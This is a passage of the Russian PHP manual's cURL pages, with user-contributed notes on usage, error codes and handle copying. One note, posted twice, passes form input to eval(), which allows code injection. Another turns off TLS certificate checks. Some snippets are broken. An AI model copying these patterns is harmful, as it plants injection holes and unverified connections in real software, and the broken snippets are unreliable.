      if( !curl_setopt($ch, CURLOPT_HEADER, 0) ) return "FAIL: curl_setopt(CURLOPT_HEADER)";
      if( !curl_exec($ch) ) return "FAIL: curl_exec()";
      curl_close($ch);
      fclose($fp);
      return "SUCCESS: $file [$url]";
    }
    else return "FAIL: fopen()";
  }
  else return "FAIL: curl_init()";
}

// Download from 'example.com' to 'example.txt'
echo cURLdownload("http://www.example.com", "example.txt");

?>

- JLee


Простой пример использования curl

Как только вы собрали PHP с поддержкой cURL уже можно использовать функции cURL. Работа с cURL всегда начинается с вызова curl_init(), затем устанавливаются необходимые параметры с помощью curl_setopt(), и выполняется требуемая операция вызовом curl_exec(), после чего вызовом curl_close() сеанс работы завершается. Приведённый ниже пример использует функции cURL для сохранения стартовой страницы сайта example.com в файл:

Пример #1 Использование модуля cURL для сохранения стартовой страницы example.com

<?php

$ch = curl_init("http://www.example.com/");
$fp = fopen("example_homepage.txt", "w");

curl_setopt($ch, CURLOPT_FILE, $fp);
curl_setopt($ch, CURLOPT_HEADER, 0);

curl_exec($ch);
if(curl_error($ch)) {
fwrite($fp, curl_error($ch));
}
curl_close($ch);
fclose($fp);
?>

User Contributed Notes

Roberto Braga 01-Apr-2015 09:45
It is important to notice that when using curl to post form data and you use an array for CURLOPT_POSTFIELDS option, the post will be in multipart format

<?php
$params=['name'=>'John', 'surname'=>'Doe', 'age'=>36];
$defaults = array(
CURLOPT_URL => 'http://myremoteservice/',
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => $params,
);
$ch = curl_init();
curl_setopt_array($ch, ($options + $defaults));
?>
This produce the following post header:

--------------------------fd1c4191862e3566
Content-Disposition: form-data; name="name"

Jhon
--------------------------fd1c4191862e3566
Content-Disposition: form-data; name="surnname"

Doe
--------------------------fd1c4191862e3566
Content-Disposition: form-data; name="age"

36
--------------------------fd1c4191862e3566--

Setting CURLOPT_POSTFIELDS as follow produce a standard post header

CURLOPT_POSTFIELDS => http_build_query($params),

Which is:
name=John&surname=Doe&age=36

This caused me 2 days of debug while interacting with a java service which was sensible to this difference, while the equivalent one in php got both format without problem.


Функции cURL

Содержание

  • curl_close — Завершает сеанс cURL
  • curl_copy_handle — Копирует дескриптор cURL вместе со всеми его настройками
  • curl_errno — Возвращает код последней ошибки
  • curl_error — Возвращает строку с описанием последней ошибки текущего сеанса
  • curl_escape — Кодирует заданную строку как URL
  • curl_exec — Выполняет запрос cURL
  • curl_getinfo — Возвращает информацию об определённой операции
  • curl_init — Инициализирует сеанс cURL
  • curl_multi_add_handle — Добавляет обычный cURL-дескриптор к набору cURL-дескрипторов
  • curl_multi_close — Закрывает набор cURL-дескрипторов
  • curl_multi_errno — Возвращает код последней ошибки множественного curl
  • curl_multi_exec — Запускает подсоединения текущего дескриптора cURL
  • curl_multi_getcontent — Возвращает результат операции, если была установлена опция CURLOPT_RETURNTRANSFER
  • curl_multi_info_read — Возвращает информацию о текущих операциях
  • curl_multi_init — Создаёт набор cURL-дескрипторов
  • curl_multi_remove_handle — Удаляет cURL дескриптор из набора cURL дескрипторов
  • curl_multi_select — Ждёт активности на любом curl_multi соединении
  • curl_multi_setopt — Устанавливает опции множественного дескриптора cURL
  • curl_multi_strerror — Возвращает строку, описывающую ошибку
  • curl_pause — Приостановить и возобновить соединение
  • curl_reset — Сбросить все настройки обработчика сессии libcurl
  • curl_setopt_array — Устанавливает несколько параметров для сеанса cURL
  • curl_setopt — Устанавливает параметр для сеанса CURL
  • curl_share_close — Закрыть разделяемый обработчик cURL
  • curl_share_errno — Возвращает код последней ошибки разделяемого обработчика curl
  • curl_share_init — Инициализация разделяемого обработчика cURL
  • curl_share_setopt — Установить опции разделяемого обработчика cURL
  • curl_share_strerror — Возвращает описание для заданного кода ошибки
  • curl_strerror — Получить текстовое описание для кода ошибки
  • curl_unescape — Декодирует закодированную URL-строку
  • curl_upkeep — Выполняет любые проверки работоспособности соединений
  • curl_version — Возвращает версию cURL

User Contributed Notes

Anonymous 06-Jun-2021 08:06
Note, if you will ever need to get/set unique handle for Curl-object, you might need to use CURL_PRIVATE property for each instace
https://www.php.net/manual/en/function.curl-setopt.php
ciaoandriana8 at gmail dot com 14-Feb-2021 06:13
This is sample script to use curl, Just input curl_setopt,
exp :
curlsetop[0] ==> name : CURLOPT_URL ; value : https://amzn.to/3njlWW6
curlsetop[1] ==> name : CURLOPT_RETURNTRANSFER ; value : true
curlsetop[2] ==> name : CURLOPT_FOLLOWLOCATION ; value : true

You can add form input.

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
  <title> New Document </title>
  <meta name="Generator" content="">
  <meta name="Author" content="Helmi Anwar">
  <meta name="Keywords" content="">
  <meta name="Description" content="">
</head>

<body>

<form method="post" action="">
    <table>
    <tr class="rowid_add">
        <td>curl_setopt [0]</td>
        <td>Name : <input type="text" size="50" name="setopt_name[]"></td>
        <td>Value :<input type="text" size="50" name="setopt_value[]"></td>
    </tr>
    <tr class="rowid_add">
        <td>curl_setopt [0]</td>
        <td>Name : <input type="text" size="50" name="setopt_name[]"></td>
        <td>Value :<input type="text" size="50" name="setopt_value[]"></td>
    </tr>
        <tr class="rowid_add">
        <td>curl_setopt [0]</td>
        <td>Name : <input type="text" size="50" name="setopt_name[]"></td>
        <td>Value :<input type="text" size="50" name="setopt_value[]"></td>
    </tr>
    <tr>
        <td><input type="submit" name="submit_yes" value="EXECUTE"></td>
    </tr>
    </table>
</form>

<?php

    function curl_test($setopt_content)
    {
        $ch = curl_init();
        curl_setopt_array($ch, $setopt_content);
        $result_data = curl_exec($ch);
        curl_close($ch);
        return $result_data;
    }

if($_REQUEST['submit_yes']=="EXECUTE")
{

    foreach ($_REQUEST['setopt_name'] as $k => $index_content)
    {
        $value_content=$_REQUEST['setopt_value'][$k];
        $index_content =strtoupper($index_content);
        eval('$index_content = '.$index_content.';');
        //echo ($index_content);
        if($index_content!='')
        {
            if(strtoupper($value_content)=='TRUE')
            {$setopt_content[$index_content]=TRUE;}
            elseif(strtoupper($value_content)=='FALSE')
            {$setopt_content[$index_content]=FALSE;}
            else
            {$setopt_content[$index_content]=$value_content;}
        }
    }

    $info=curl_test($setopt_content);

}

?>
<textarea name="result" rows="25" cols="100"><?php echo htmlspecialchars($info);?></textarea>
</body>
</html>
helmizz at yahoo dot com 11-May-2014 10:03
This is sample script to use curl, Just input curl_setopt,
exp :
curlsetop[0] ==> name : CURLOPT_URL ; value : http://amazon.com
curlsetop[1] ==> name : CURLOPT_RETURNTRANSFER ; value : true
curlsetop[2] ==> name : CURLOPT_FOLLOWLOCATION ; value : true

You can add form input.

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
 <head>
  <title> New Document </title>
  <meta name="Generator" content="">
  <meta name="Author" content="Helmi Anwar">
  <meta name="Keywords" content="">
  <meta name="Description" content="">
 </head>

 <body>

 <form method="post" action="">
    <table>
    <tr class="rowid_add">
        <td>curl_setopt [0]</td>
        <td>Name : <input type="text" size="50" name="setopt_name[]"></td>
        <td>Value :<input type="text" size="50" name="setopt_value[]"></td>
    </tr>
    <tr class="rowid_add">
        <td>curl_setopt [0]</td>
        <td>Name : <input type="text" size="50" name="setopt_name[]"></td>
        <td>Value :<input type="text" size="50" name="setopt_value[]"></td>
    </tr>
        <tr class="rowid_add">
        <td>curl_setopt [0]</td>
        <td>Name : <input type="text" size="50" name="setopt_name[]"></td>
        <td>Value :<input type="text" size="50" name="setopt_value[]"></td>
    </tr>
    <tr>
        <td><input type="submit" name="submit_yes" value="EXECUTE"></td>
    </tr>
    </table>
 </form>

 <?php

    function curl_test($setopt_content)
    {
        $ch = curl_init();
        curl_setopt_array($ch, $setopt_content);
        $result_data = curl_exec($ch);
        curl_close($ch);
        return $result_data;
    }

if($_REQUEST['submit_yes']=="EXECUTE")
{

    foreach ($_REQUEST['setopt_name'] as $k => $index_content)
    {
        $value_content=$_REQUEST['setopt_value'][$k];
        $index_content =strtoupper($index_content);
        eval('$index_content = '.$index_content.';');
        //echo ($index_content);
        if($index_content!='')
        {
            if(strtoupper($value_content)=='TRUE')
            {$setopt_content[$index_content]=TRUE;}
            elseif(strtoupper($value_content)=='FALSE')
            {$setopt_content[$index_content]=FALSE;}
            else
            {$setopt_content[$index_content]=$value_content;}
        }
    }

    $info=curl_test($setopt_content);

}

 ?>
 <textarea name="result" rows="25" cols="100"><?php echo htmlspecialchars($info);?></textarea>
 </body>
</html>
Emprivo.com 26-Aug-2009 09:58
Fixed bugs in the function posted earlier (better javascript redirect following and now supports HTTPS)

<?php

/*==================================
Get url content and response headers (given a url, follows all redirections on it and returned content and response headers of final url)

@return    array[0]    content
        array[1]    array of response headers
==================================*/
function get_url( $url,  $javascript_loop = 0, $timeout = 5 )
{
    $url = str_replace( "&amp;", "&", urldecode(trim($url)) );

    $cookie = tempnam ("/tmp", "CURLCOOKIE");
    $ch = curl_init();
    curl_setopt( $ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; rv:1.7.3) Gecko/20041001 Firefox/0.10.1" );
    curl_setopt( $ch, CURLOPT_URL, $url );
    curl_setopt( $ch, CURLOPT_COOKIEJAR, $cookie );
    curl_setopt( $ch, CURLOPT_FOLLOWLOCATION, true );
    curl_setopt( $ch, CURLOPT_ENCODING, "" );
    curl_setopt( $ch, CURLOPT_RETURNTRANSFER, true );
    curl_setopt( $ch, CURLOPT_AUTOREFERER, true );
    curl_setopt( $ch, CURLOPT_SSL_VERIFYPEER, false );    # required for https urls
    curl_setopt( $ch, CURLOPT_CONNECTTIMEOUT, $timeout );
    curl_setopt( $ch, CURLOPT_TIMEOUT, $timeout );
    curl_setopt( $ch, CURLOPT_MAXREDIRS, 10 );
    $content = curl_exec( $ch );
    $response = curl_getinfo( $ch );
    curl_close ( $ch );

    if ($response['http_code'] == 301 || $response['http_code'] == 302)
    {
        ini_set("user_agent", "Mozilla/5.0 (Windows; U; Windows NT 5.1; rv:1.7.3) Gecko/20041001 Firefox/0.10.1");

        if ( $headers = get_headers($response['url']) )
        {
            foreach( $headers as $value )
            {
                if ( substr( strtolower($value), 0, 9 ) == "location:" )
                    return get_url( trim( substr( $value, 9, strlen($value) ) ) );
            }
        }
    }

    if (    ( preg_match("/>[[:space:]]+window\.location\.replace\('(.*)'\)/i", $content, $value) || preg_match("/>[[:space:]]+window\.location\=\"(.*)\"/i", $content, $value) ) &&
            $javascript_loop < 5
    )
    {
        return get_url( $value[1], $javascript_loop+1 );
    }
    else
    {
        return array( $content, $response );
    }
}

?>
Peter X. 02-May-2008 07:44
Although it has been noted that cURL outperforms both file_get_contents and fopen when it comes to getting a file over a HTTP link, the disadvantage of cURL is that it has no way of only reading a part of a page at a time.

For example, the following code is likely to generate a memory limit error:

<?php
$ch = curl_init("http://www.example.com/reallybigfile.tar.gz");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_BINARYTRANSFER, true);
$output = curl_exec($ch);

$fh = fopen("out.tar.gz", 'w');
fwrite($fh, $output);
fclose($fh);
?>

While this, on the other hand, wouldn't

<?php
$hostfile = fopen("http://www.example.com/reallybigfile.tar.gz", 'r');
$fh = fopen("out.tar.gz", 'w');

while (!feof($hostfile)) {
    $output = fread($hostfile, 8192);
    fwrite($fh, $output);
}

fclose($hostfile);
fclose($fh);
?>
Mr.KTO 07-Jul-2007 06:59
Don't foget to curl_close($ch); Even if curl_errno($ch) != 0

Because if you don't - on Windows this will produce windows-error-report (Program terminated unexpectedly)
killermonk at REMOVE dot killermonk dot com 06-Mar-2007 11:23
For anyone trying to use cURL to submit to an ASP/ASPX page that uses an image as the submit button.

Make sure that you have 'button_name.x' and 'button_name.y' in the post fields. PHP names these fields 'button_name_x' and 'button_name_y', while ASP uses a dot.

Also, as noted above, be sure to include the '__VIEWSTATE' input field in your post request.
gordon_e_rouse at yahoo dot com dot au 25-Jan-2007 02:24
Using curl to take snapshots of the current page for emailing the HTML is a clever little idea. (ie: Email this page to a friend)

<?php
//to be explained below!
session_write_close();

$pageurl = "http://www.site.com/content.php?PHPSESSID=123XYZ
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

curl_setopt ($ch, CURLOPT_URL, $pageurl );
$html = curl_exec ( $ch );
curl_close($ch);

//then you need to fix pathing to absolute
$search = "/(src|href|background)=\"[^:,^>,^\"]*\"/i";

preg_match_all ( $search, $html, $a_matches );

//you can figure out the rest ! but thought the reg expression is useful as well
?>

But here is the catch, you may want to make sure curl connects to the server under the same session as the browser. So naturally you pass the session cookie through the curl system either by the cookie jar system, or through the query string in the path.

This is where you will get stuck. PHP will need write access to the same session file simultaneously!! causing serious hanging issues!

This is why you should close off your session before you make curl take a page snapshot!
galvao at galvao.eti.br 06-Jul-2006 08:27
Note that on Win32 this documentation can get a little confusing.

In order to get this to work you need to:

1) Be sure that the folder where libeay32.dll and ssleay32.dll - tipically C:\\PHP - is present on the PATH variable.

2) Uncomment - remove the semi-colon - the line that says "extension=php_curl.dll" from php.ini

3) Restart the webserver (you should already know this one, but...)

It took me some time to realize this, since this page doesn't mention the need to uncomment that php.ini's line.
richardkmiller AT gmail 02-Mar-2006 04:21
Beware of any extra spaces in the URL.  A trailing space in the URL caused my script to fail with the message "empty reply from server".
stevehartken at hotmail dot com 21-Feb-2006 10:40
I had the following experience when harvesting urls with a get variable from a page using cUrl. HTML pages will output ampersands as &amp when the page is read by the curl function.

If you code a script to find all hyperlinks, it will use &amp instead of &, especially using a regular expression search.

It is hard to detect because when you output the url to the browser it renders the html. To fix, add a line to replace the &amp with &.

<?php
function processURL($url){
    $url=str_replace('&amp;','&',$url);
    $ch=curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
    $xml = curl_exec ($ch);
    curl_close ($ch);
    echo $xml;
}
?>
mikeb[at]xamo[dot]com 14-Oct-2004 01:11
A note of warning for PHP 5 users: if you try to fetch the CURLINFO_CONTENT_TYPE using curl_getinfo when there is a connect error, you will core dump PHP. I have informed the Curl team about this, so it will hopefully be fixed soon. Just make sure you check for an error before you look for this data.
alidrus at langkah dot com 14-Sep-2004 02:31
In recent versions of php, CURLOPT_MUTE has (probably) been deprecated. Any attempt of using curl_setopt() to set CURLOPT_MUTE will give you a warning like this:

PHP Notice:  Use of undefined constant CURLOPT_MUTE - assumed 'CURLOPT_MUTE' in ....

If you wish tu silence the curl output, use the following instead:

<?php
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
?>

And then,

<?php
    $curl_output=curl_exec($ch);
?>

The output of the curl operation will be stored as a string in $curl_output while the operation remains totally silent.
rich @ richud dot com 11-Jun-2004 07:12
If you have upgraded to using thread safe PHP (with apache 2 MPM=worker) note that
CURLOPT_COOKIEJAR / CURLOPT_COOKIEFILE both need an absolute path set for the cookie file location and no longer take a relative path.
(As before, also remember to have set correct permissions to allow a writeable cookie file/dir by apache)
[php 4.3.7/apache v2.0.49]
simon [at] vhostdirect [dot] co [dot] uk 03-Mar-2004 04:53
It took me quite some to to figure out how to get Curl (with SSL), OpenSSL and PHP to play nicely together.

After reinstalling MS-VC7 and compiling OpenSSL to finally realise this was'nt nesscary.

If your like me and like *Nix systems more than Windows then you'll most probly have similar problems.

I came across this, on a simple google with the right keywords.

http://www.tonyspencer.com/journal/00000037.htm

I read thru that and found my mistake.

Its just a small list of notes, I found them to be the best I've found on the subject and the most simplist.

Dont forget to add a simple line like this into your scripts to get them working on Win32.

<?php
if($WINDIR) curl_setopt($curl, CURLOPT_CAINFO, "c:\\windows\\ca-bundle.crt");
?>

Last note: ca-bundle.crt file is located in the Curl download. I stored mine in the windows directory and apache/php can access it fine.

All the best and I hope this helps.

Simon Lightfoot
vHost Direct Limited


Завершает сеанс cURL

  • « Функции cURL
  • curl_copy_handle »
  • PHP Manual
  • Функции cURL
  • Завершает сеанс cURL

curl_close

(PHP 4 >= 4.0.2, PHP 5, PHP 7, PHP 8)

curl_close — Завершает сеанс cURL

Описание

curl_close(CurlHandle $handle): void

Замечание:

Использование функции больше не имеет смысла. До PHP 8.0.0 она использовалась для закрытия ресурса.

Завершает сеанс cURL и освобождает все ресурсы. Дескриптор handle также уничтожается.

Список параметров

handle

Дескриптор cURL, полученный из curl_init().

Возвращаемые значения

Функция не возвращает значения после выполнения.

Список изменений

Версия | Описание
8.0.0 | handle теперь ожидает экземпляр CurlHandle; раньше, ожидался ресурс (resource).

Примеры

Пример #1 Инициализация сеанса cURL и загрузка веб-страницы

<?php
// создание нового ресурса cURL
$ch = curl_init();

// установка URL и других необходимых параметров
curl_setopt($ch, CURLOPT_URL, "http://www.example.com/");
curl_setopt($ch, CURLOPT_HEADER, 0);

// загрузка страницы и выдача её браузеру
curl_exec($ch);

// завершение сеанса и освобождение ресурсов
curl_close($ch);
?>

Смотрите также

  • curl_init() - Инициализирует сеанс cURL
  • curl_multi_close() - Закрывает набор cURL-дескрипторов

User Contributed Notes

JS 24-Aug-2023 02:56
Although the Note for this call says "Prior to PHP 8.0.0, this function was used to close the resource", I found that PHP 7.4.33 on CentOS is not closing the connection on curl_close.

The workaround if you want to make sure the connection closes immediately after the request is to set the curl option to forbid reuse:

curl_setopt($curl, CURLOPT_FORBID_REUSE, TRUE);


Копирует дескриптор cURL вместе со всеми его настройками

  • « curl_close
  • curl_errno »
  • PHP Manual
  • Функции cURL
  • Копирует дескриптор cURL вместе со всеми его настройками

curl_copy_handle

(PHP 5, PHP 7, PHP 8)

curl_copy_handle — Копирует дескриптор cURL вместе со всеми его настройками

Описание

curl_copy_handle(CurlHandle $handle): CurlHandle|false

Копирует дескриптор cURL, сохраняя его настройки.

Список параметров

handle

Дескриптор cURL, полученный из curl_init().

Возвращаемые значения

Возвращает новый дескриптор cURL или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | handle теперь ожидает экземпляр CurlHandle; раньше, ожидался ресурс (resource).
8.0.0 | В случае успешного выполнения возвращает экземпляр CurlHandle; раньше возвращался ресурс (resource).

Примеры

Пример #1 Копирование дескриптора cURL

<?php
// создание нового ресурса cURL
$ch = curl_init();

// установка URL и других соответствующих параметров
curl_setopt($ch, CURLOPT_URL, 'http://www.example.com/');
curl_setopt($ch, CURLOPT_HEADER, 0);

// копирование дескриптора
$ch2 = curl_copy_handle($ch);

// загрузка URL (http://www.example.com/) и её передача в браузер
curl_exec($ch2);

// закрытие ресурсов cURL и освобождение системных ресурсов
curl_close($ch2);
curl_close($ch);
?>

User Contributed Notes

ac221 at sussex dot ac dot uk 16-Jun-2008 03:00
Hmm I don't have a problem with this, using PHP 5.2.5 libcurl 7.16.3 maybe it's been fixed ...

I am m having trouble getting curl_copy_handle to copy all the curlopts across though...

    protected function curlMultiPrime(array $reqArr){
        // Store the request array so we can reinitialise the multi handle
        $this->reqArr = $reqArr;
        // Close existing curl uni handles
        $this->closeMultiCurlUniHandles();
        foreach($reqArr as $curlConf){
            if(!($curlConf instanceof curlConfRequest ))
                throw new curlConfException('All objects passed to configure requests must be instances of curlConfRequest.',curlConfException::CURL_INVALID_CONF_OBJ);
            if(!$cch = curl_copy_handle($this->curlHandle)){
                throw new curlException('Failed to clone template curl handle.',$this->curlHandle);
            }else{
                curl_setopt_array($cch,$curlConf->getCurlOpts());
            }
            if(curl_multi_add_handle($this->curlMultiHandle,$cch) === 0){
                $this->curlUniHandleRef[] = $cch;
            }else{
                throw new curlException('Failed to add curl handle to multi stack.',$cch);
            }
        }
    }
administrator at proxy-list dot org 22-Jan-2008 05:08
There is some internal curl error (CURLE_FAILED_INIT) when you are trying to use just copied curl handle in curl_multi_add_handle(). I have checked the same problematic PHP code but with little difference: instead of creating curl's copy I have used the original one (template). As I expect code works without any error. I think curl_multi_* along with curl_copy_handle() is still raw and needs some improvements.

With best wishes

Vitali Simsive
Andrew 19-May-2007 11:39
You can use it for some kind of templates:

<?php
$ch = array();
$ch[0] = curl_init();
curl_setopt($ch[0], CURLOPT_URL, 'http://beengo.net/');
curl_setopt($ch[0], CURLOPT_HEADER, 0);
curl_setopt($ch[0], CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch[0], CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch[0], CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);

$ch[1] = curl_copy_handle($ch[0]);
curl_setopt($ch[1], CURLOPT_URL, 'http://beengo.net/cells/list');

$ch[2] = curl_copy_handle($ch[0]);
curl_setopt($ch[2], CURLOPT_URL, 'http://beengo.net/cells/list?q=travel');

/* And so on, when you need to get number of pages with same parameters... */

?>


Возвращает код последней ошибки

  • « curl_copy_handle
  • curl_error »
  • PHP Manual
  • Функции cURL
  • Возвращает код последней ошибки

curl_errno

(PHP 4 >= 4.0.3, PHP 5, PHP 7, PHP 8)

curl_errno — Возвращает код последней ошибки

Описание

curl_errno(CurlHandle $handle): int

Возвращает код ошибки последней операции cURL.

Список параметров

handle

Дескриптор cURL, полученный из curl_init().

Возвращаемые значения

Возвращает номер ошибки или 0 (ноль), если ошибки не произошло.

Список изменений

Версия | Описание
8.0.0 | handle теперь ожидает экземпляр CurlHandle; раньше, ожидался ресурс (resource).

Примеры

Пример #1 Пример использования curl_errno()

<?php
// Создаём дескриптор curl к несуществующему адресу
$ch = curl_init('http://404.php.net/');

// Запускаем
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_exec($ch);

// Проверяем наличие ошибки
if(curl_errno($ch))
{
echo 'Ошибка curl: ' . curl_error($ch);
}

// Закрываем дескриптор
curl_close($ch);
?>

Смотрите также

  • curl_error() - Возвращает строку с описанием последней ошибки текущего сеанса
  • » Коды ошибок cURL

User Contributed Notes

nono303 19-Jan-2022 12:24
CURLcode v7.81 reversed array for PHP  (from \curl\include\curl\curl.h l.495)
https://gist.github.com/nono303/de1256f55e26fdbcc3e0d72e397ac4a1
cubefox at web dot NOSPAMPLEASE dot de 30-Jul-2020 12:08
The manual above only mentions how to get an error description from the cURL handle ($ch) using curl_error():
<?php
$description = curl_error($ch);
?>

But you can also get a description from the error number itself using curl_strerror():
<?php
$description = curl_strerror(curl_errno($ch));
?>

The latter can be useful if you only have access to the error number but not to the cURL handle.
gmail@asmqb7 20-Apr-2019 04:43
/!\ ATTENTION if you are using curl multi handles

This function returns 0 in error conditions when run on curl handles accessed via curl_multi_info_read().

You must look at the data returned by curl_multi_info_read() for the true errno. The data is over there instead.
Eugene Kunkel 15-Nov-2016 11:25
Gets a current list of all CURLE_* error constants, their applicable error messages, and their applicable error codes. Useful for making wrapper classes or for mapping cURL errors to specific Exception objects.

<?php

$list   = get_defined_constants(TRUE);
$list   = preg_grep('/^CURLE_/', array_flip($list['curl']));
$result = array();

foreach ($list as $const) {
    $result[$const] = array
    (
        'code'    => constant($const),
        'message' => curl_strerror(constant($const))
    );
}

echo "<pre>";
echo print_r($result, TRUE);
echo "</pre>";
nimasdj AT yahoo [DOT] com 28-Jul-2015 03:48
To coder.ua[at]gmail.com:

Please note some errors have more than one constants:

[CURLE_FTP_PARTIAL_FILE]    18
[CURLE_PARTIAL_FILE]    18

[CURLE_HTTP_NOT_FOUND]    22
[CURLE_HTTP_RETURNED_ERROR]    22

[CURLE_OPERATION_TIMEDOUT]    28
[CURLE_OPERATION_TIMEOUTED]    28

[CURLE_BAD_DOWNLOAD_RESUME]    36
[CURLE_FTP_BAD_DOWNLOAD_RESUME]    36
coder.ua[at]gmail.com 10-Jan-2013 11:29
All available curl error constants and values in PHP 5.4.7 on FreeBSD 8.2-RELEASE:

CURLE_UNSUPPORTED_PROTOCOL => 1
CURLE_FAILED_INIT => 2
CURLE_URL_MALFORMAT => 3
CURLE_URL_MALFORMAT_USER => 4
CURLE_COULDNT_RESOLVE_PROXY => 5
CURLE_COULDNT_RESOLVE_HOST => 6
CURLE_COULDNT_CONNECT => 7
CURLE_FTP_WEIRD_SERVER_REPLY => 8
CURLE_FTP_ACCESS_DENIED => 9
CURLE_FTP_USER_PASSWORD_INCORRECT => 10
CURLE_FTP_WEIRD_PASS_REPLY => 11
CURLE_FTP_WEIRD_USER_REPLY => 12
CURLE_FTP_WEIRD_PASV_REPLY => 13
CURLE_FTP_WEIRD_227_FORMAT => 14
CURLE_FTP_CANT_GET_HOST => 15
CURLE_FTP_CANT_RECONNECT => 16
CURLE_FTP_COULDNT_SET_BINARY => 17
CURLE_PARTIAL_FILE => 18
CURLE_FTP_COULDNT_RETR_FILE => 19
CURLE_FTP_WRITE_ERROR => 20
CURLE_FTP_QUOTE_ERROR => 21
CURLE_HTTP_NOT_FOUND => 22
CURLE_WRITE_ERROR => 23
CURLE_MALFORMAT_USER => 24
CURLE_FTP_COULDNT_STOR_FILE => 25
CURLE_READ_ERROR => 26
CURLE_OUT_OF_MEMORY => 27
CURLE_OPERATION_TIMEOUTED => 28
CURLE_FTP_COULDNT_SET_ASCII => 29
CURLE_FTP_PORT_FAILED => 30
CURLE_FTP_COULDNT_USE_REST => 31
CURLE_FTP_COULDNT_GET_SIZE => 32
CURLE_HTTP_RANGE_ERROR => 33
CURLE_HTTP_POST_ERROR => 34
CURLE_SSL_CONNECT_ERROR => 35
CURLE_FTP_BAD_DOWNLOAD_RESUME => 36
CURLE_FILE_COULDNT_READ_FILE => 37
CURLE_LDAP_CANNOT_BIND => 38
CURLE_LDAP_SEARCH_FAILED => 39
CURLE_LIBRARY_NOT_FOUND => 40
CURLE_FUNCTION_NOT_FOUND => 41
CURLE_ABORTED_BY_CALLBACK => 42
CURLE_BAD_FUNCTION_ARGUMENT => 43
CURLE_BAD_CALLING_ORDER => 44
CURLE_HTTP_PORT_FAILED => 45
CURLE_BAD_PASSWORD_ENTERED => 46
CURLE_TOO_MANY_REDIRECTS => 47
CURLE_UNKNOWN_TELNET_OPTION => 48
CURLE_TELNET_OPTION_SYNTAX => 49
CURLE_OBSOLETE => 50
CURLE_SSL_PEER_CERTIFICATE => 51
CURLE_GOT_NOTHING => 52
CURLE_SSL_ENGINE_NOTFOUND => 53
CURLE_SSL_ENGINE_SETFAILED => 54
CURLE_SEND_ERROR => 55
CURLE_RECV_ERROR => 56
CURLE_SHARE_IN_USE => 57
CURLE_SSL_CERTPROBLEM => 58
CURLE_SSL_CIPHER => 59
CURLE_SSL_CACERT => 60
CURLE_BAD_CONTENT_ENCODING => 61
CURLE_LDAP_INVALID_URL => 62
CURLE_FILESIZE_EXCEEDED => 63
CURLE_FTP_SSL_FAILED] => 64
david at liip dot ch 09-Dec-2011 02:40
you should look on http://php.net/manual/en/curl.constants.php for the error codes, not on the linked official curl doc. some of the error codes are different, at least the one mentioned on the other page:

in PHP the curl error number 28 is called

CURLE_OPERATION_TIMEOUTED

while in the official site is:

CURLE_OPERATION_TIMEDOUT
denis at reddodo dot com 27-Mar-2011 03:10
if someone need more information about curl errors
<?php
$error_codes=array(
[1] => 'CURLE_UNSUPPORTED_PROTOCOL',
[2] => 'CURLE_FAILED_INIT',
[3] => 'CURLE_URL_MALFORMAT',
[4] => 'CURLE_URL_MALFORMAT_USER',
[5] => 'CURLE_COULDNT_RESOLVE_PROXY',
[6] => 'CURLE_COULDNT_RESOLVE_HOST',
[7] => 'CURLE_COULDNT_CONNECT',
[8] => 'CURLE_FTP_WEIRD_SERVER_REPLY',
[9] => 'CURLE_REMOTE_ACCESS_DENIED',
[11] => 'CURLE_FTP_WEIRD_PASS_REPLY',
[13] => 'CURLE_FTP_WEIRD_PASV_REPLY',
[14]=>'CURLE_FTP_WEIRD_227_FORMAT',
[15] => 'CURLE_FTP_CANT_GET_HOST',
[17] => 'CURLE_FTP_COULDNT_SET_TYPE',
[18] => 'CURLE_PARTIAL_FILE',
[19] => 'CURLE_FTP_COULDNT_RETR_FILE',
[21] => 'CURLE_QUOTE_ERROR',
[22] => 'CURLE_HTTP_RETURNED_ERROR',
[23] => 'CURLE_WRITE_ERROR',
[25] => 'CURLE_UPLOAD_FAILED',
[26] => 'CURLE_READ_ERROR',
[27] => 'CURLE_OUT_OF_MEMORY',
[28] => 'CURLE_OPERATION_TIMEDOUT',
[30] => 'CURLE_FTP_PORT_FAILED',
[31] => 'CURLE_FTP_COULDNT_USE_REST',
[33] => 'CURLE_RANGE_ERROR',
[34] => 'CURLE_HTTP_POST_ERROR',
[35] => 'CURLE_SSL_CONNECT_ERROR',
[36] => 'CURLE_BAD_DOWNLOAD_RESUME',
[37] => 'CURLE_FILE_COULDNT_READ_FILE',
[38] => 'CURLE_LDAP_CANNOT_BIND',
[39] => 'CURLE_LDAP_SEARCH_FAILED',
[41] => 'CURLE_FUNCTION_NOT_FOUND',
[42] => 'CURLE_ABORTED_BY_CALLBACK',
[43] => 'CURLE_BAD_FUNCTION_ARGUMENT',
[45] => 'CURLE_INTERFACE_FAILED',
[47] => 'CURLE_TOO_MANY_REDIRECTS',
[48] => 'CURLE_UNKNOWN_TELNET_OPTION',
[49] => 'CURLE_TELNET_OPTION_SYNTAX',
[51] => 'CURLE_PEER_FAILED_VERIFICATION',
[52] => 'CURLE_GOT_NOTHING',
[53] => 'CURLE_SSL_ENGINE_NOTFOUND',
[54] => 'CURLE_SSL_ENGINE_SETFAILED',
[55] => 'CURLE_SEND_ERROR',
[56] => 'CURLE_RECV_ERROR',
[58] => 'CURLE_SSL_CERTPROBLEM',
[59] => 'CURLE_SSL_CIPHER',
[60] => 'CURLE_SSL_CACERT',
[61] => 'CURLE_BAD_CONTENT_ENCODING',
[62] => 'CURLE_LDAP_INVALID_URL',
[63] => 'CURLE_FILESIZE_EXCEEDED',
[64] => 'CURLE_USE_SSL_FAILED',
